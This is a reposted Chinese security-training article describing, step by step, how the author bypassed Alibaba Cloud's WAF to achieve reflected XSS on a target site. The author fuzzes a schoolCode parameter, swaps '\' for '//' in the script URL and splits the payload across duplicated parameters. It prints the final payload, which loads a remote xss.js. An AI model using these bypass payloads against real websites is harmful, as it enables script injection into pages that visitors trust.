当前位置:网站首页 > 网络安全培训 > 正文

实战绕过阿里云WAF

freebuffreebuf 2022-04-25 324 0

本文来源:

1、我发现目标站点是存在传参回显的,我在参数schoolCode中传入了一个值,接着返回的页面中回显了这个值。

2、接着进行数组传参测试,构造了两个schoolCode参数进行传递,页面成功返回了jammny,jammny

3、通过fuzz,可以看到完整的标签是能够被使用的。</span></p><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.46951871657754013" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEnTewPlwrRS1Akn8qmXqIQbhMlpib8IJNRibKLFXRaCgiaAuuLt0tYfRuUw/640?wx_fmt=png" data-type="png" data-w="935" style="height: auto !important;" width="935"></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">4、云waf通常是通过语义检测攻击行为的,因此实际上很多标签都是可以被使用的。比如说<img>标签等:</span></p><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.11870845204178537" data-type="png" data-w="1053" width="1053" style="height: auto !important;" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEnHl2uUVweHDvtgB1NwJeMNXabWCBTWzWFFK2EProjr4WLp6YbPwT8iaw/640?wx_fmt=png"></p><p style="margin: 0;padding: 0;min-height: 24px;"><br></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">5、本次payload构造选择就使用<script>,先在自己的github.io页面上新建一个xss.js文件,用于src外部引用,内容为:</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-color: rgba(0, 0, 0, 0.08);border-style: solid;border-width: 1px;border-radius: 2px;padding: 0px 2px;"><span style="font-size: 15px;">alert(/xss/)</span></code><span style="font-size: 15px;">。</span></p><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2679425837320574" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEn0DSZib8nlicqtfmbIcOh5j0act7uWRZdn8uEibZsyhhKpC44qmlCZeAyA/640?wx_fmt=png" data-type="png" data-w="418" style="height: auto !important;" width="418"></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">6、正常引用肯定是被拦截的:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span style="font-size: 15px;"><script src="https://jammny.github.io/xss.js"></span></span></code></pre></section><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5020876826722338" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEnvq13XmlzUleQxzaDrRAH18yE4eW9ybA9ysibM8DmRcETxZsjF25oSQw/640?wx_fmt=png" data-type="png" data-w="958" style="height: auto !important;" width="958"></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">7、不着急,慢慢绕。从右往左的顺序,挨个删直到没有拦截为止。直到如下情况:</span></p><pre data-language="plain" style="border-color: rgb(232, 232, 232);border-style: solid;border-width: 1px;border-radius: 2px;background: rgb(249, 249, 249) none repeat scroll 0% 0%;padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><span style="font-size: 15px;">拦截:<script src=https://><br>未拦截:<script src=https:/></span></pre><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6941056910569106" data-type="png" data-w="984" width="984" style="height: auto !important;" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEnGJWbhkqWmntK591mgnMuEr4FibOqLKxLn8t6mGasmTFjzFC3a3GxPQA/640?wx_fmt=png"></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">8、也就是说waf检测到</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-color: rgba(0, 0, 0, 0.08);border-style: solid;border-width: 1px;border-radius: 2px;padding: 0px 2px;"><span style="font-size: 15px;">https://</span></code><span style="font-size: 15px;">就会被拦截。这里科普一个<strong><span style="color: rgb(232, 50, 60);">冷知识</span></strong>,可以使用</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-color: rgba(0, 0, 0, 0.08);border-style: solid;border-width: 1px;border-radius: 2px;padding: 0px 2px;"><span style="font-size: 15px;">\</span></code><span style="font-size: 15px;">代替</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-color: rgba(0, 0, 0, 0.08);border-style: solid;border-width: 1px;border-radius: 2px;padding: 0px 2px;"><span style="font-size: 15px;">//</span></code><span style="font-size: 15px;">进行绕过,效果是一样的:</span></p><pre data-language="plain" style="border-color: rgb(232, 232, 232);border-style: solid;border-width: 1px;border-radius: 2px;background: rgb(249, 249, 249) none repeat scroll 0% 0%;padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><span style="font-size: 15px;">https:\jammny.github.io ==> https://jammny.github.io</span></pre><p style="margin: 0;padding: 0;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.17110266159695817" data-type="png" data-w="1052" width="1052" style="height: auto !important;" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEnJiaOQvYdDDiaSlBVTZMAcyXhV11FbCjYBYIPbqnBjPELWBv7icRDJhA1g/640?wx_fmt=png"><span style="font-size: 15px;">9、重新开始补全路径,知道加入尖括号闭合后,被waf拦截。</span></p><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.43526785714285715" data-type="png" data-w="896" width="896" style="height: auto !important;" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEnJ1qQLA8picFk7vthSfuPCUTJGRSd8OUBGIXNoRISIvcXzsEhOjf6q7A/640?wx_fmt=png"></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">10、由于目标可以使用数组传参,因此可以通过构造多一个参数来分割payload。</span></p><p data-language="plain" style="border-color: rgb(232, 232, 232);border-style: solid;border-width: 1px;border-radius: 2px;background: rgb(249, 249, 249) none repeat scroll 0% 0%;padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><span style="font-size: 15px;"><script src=https:\jammny.github.io/xss.js&schoolCode=><br></span></p><p style="margin: 0px 0px 0em;padding: 0px;min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6328790459965928" data-type="png" data-w="1174" width="1174" style="height: auto !important;" src="https://mmbiz.qpic.cn/mmbiz_png/SToshsHqEGF7yAibKia56nTPNg3mN4LFEn7GblWRLRYokpRVQcl8CdtyQ0V8VeZbicvwCxjuyFgYBtHriaxEthDyOQ/640?wx_fmt=png"></p><p style="margin: 0;padding: 0;min-height: 24px;"><span style="font-size: 15px;">11、再自己整合一下payload,闭合好标签。就可以成功绕过waf执行xss了。</span></p><pre data-language="plain" style="border-color: rgb(232, 232, 232);border-style: solid;border-width: 1px;border-radius: 2px;background: rgb(249, 249, 249) none repeat scroll 0% 0%;padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><span style="font-size: 15px;"><script%20src=https:\jammny.github.io/xss.js%20&schoolCode=>

转载请注明来自网盾网络安全培训,本文标题:《实战绕过阿里云WAF》

标签:waf阿里云

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表